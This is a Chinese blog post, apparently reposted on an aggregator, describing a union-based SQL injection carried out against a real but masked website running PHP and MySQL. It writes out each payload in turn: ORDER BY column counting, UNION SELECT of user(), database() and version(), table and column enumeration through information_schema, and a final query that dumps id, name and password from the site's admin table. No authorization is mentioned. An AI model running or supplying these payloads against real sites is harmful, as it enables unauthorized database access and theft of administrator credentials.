记一次简单的sql注入测试

Posted 这个夏天计划

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了记一次简单的sql注入测试相关的知识,希望对你有一定的参考价值。



基本信息探测:

  • 目标网站http://www.xxxxx.cn/

  • 服务器IP:222.xxx.xxx.220江苏

  • 环境平台:php+ mysql5


实战测试过程

网站首页随便打开一个链接,手工测试下是否存在注入漏洞?'单引号直接报错了,根据返回结果可以确定是可以注入的。

(1) 查询例数

order by用于对从表中选出的列进行排序 其语法为

order by 1

查询的列数我们假设有1列,那么以1排序不报错,那么可以证明其查询的列大于或者等于1

记一次简单的sql注入测试

记一次简单的sql注入测试

(2) 联合查询

 UNION SELECT 1

查看数据显示位置

记一次简单的sql注入测试

这边至于为什么在1前面加一个-就靠大家自己体会了

可以从前面报错信息中发现是Mysql数据库

Mysql数据库的内置函数:user():当前的MySQL用户名和主机名database():返回默认(当前)数据库名称如果没有默认数据库,则DATABASE()返回NULLversion():获取系统的版本号信息
命令:union select user() 查看当前的用户名

记一次简单的sql注入测试

命令:union select database()查看当前数据库

记一次简单的sql注入测试

命令:union seleect version()查看当前版本

记一次简单的sql注入测试

mysql数据库中的全局函数@@datadir – 数据库路径@@hostname – 主机名@@VERSION – DB版本@@version_compile_os – 系统版本

(3) 查询所有的表

命令:union seleect group_concat(table_name) from information_schema.columns where table_schema=database()查询所有的表

记一次简单的sql注入测试

(4) 列出字段

命令:查询admin里面字段UNION%20SELECT%20group_concat(column_name)%20from%20information_schema.columns%20where%20table_name=%27admin%27

记一次简单的sql注入测试

(4) 列出admin表中的id,name,adminpass字段内容

命令:UNION SELECT concat(id,0x3a,name,0x3a,adminpass) from admin 拿到用户名和密码


记一次简单的sql注入测试


至此,整个SQL注入成功完成!


———————————————————————————————

                                          扫描关注这个夏天计划

                                         

                                                                        觉得不错点个“赞”、“在看”哦

以上是关于记一次简单的sql注入测试的主要内容,如果未能解决你的问题,请参考以下文章

记一次SQL注入简单bypass

记一次Fuzz绕WAF实现SQL 注入

记一次由sql注入到拿下域控的渗透测试实战演练(上)

记一次简单的渗透测试

记一次艰难的SQL注入(过安全狗)

实战系列 1记一次从SQL注入到3389远程登录Windows桌面并上线CobaltStrike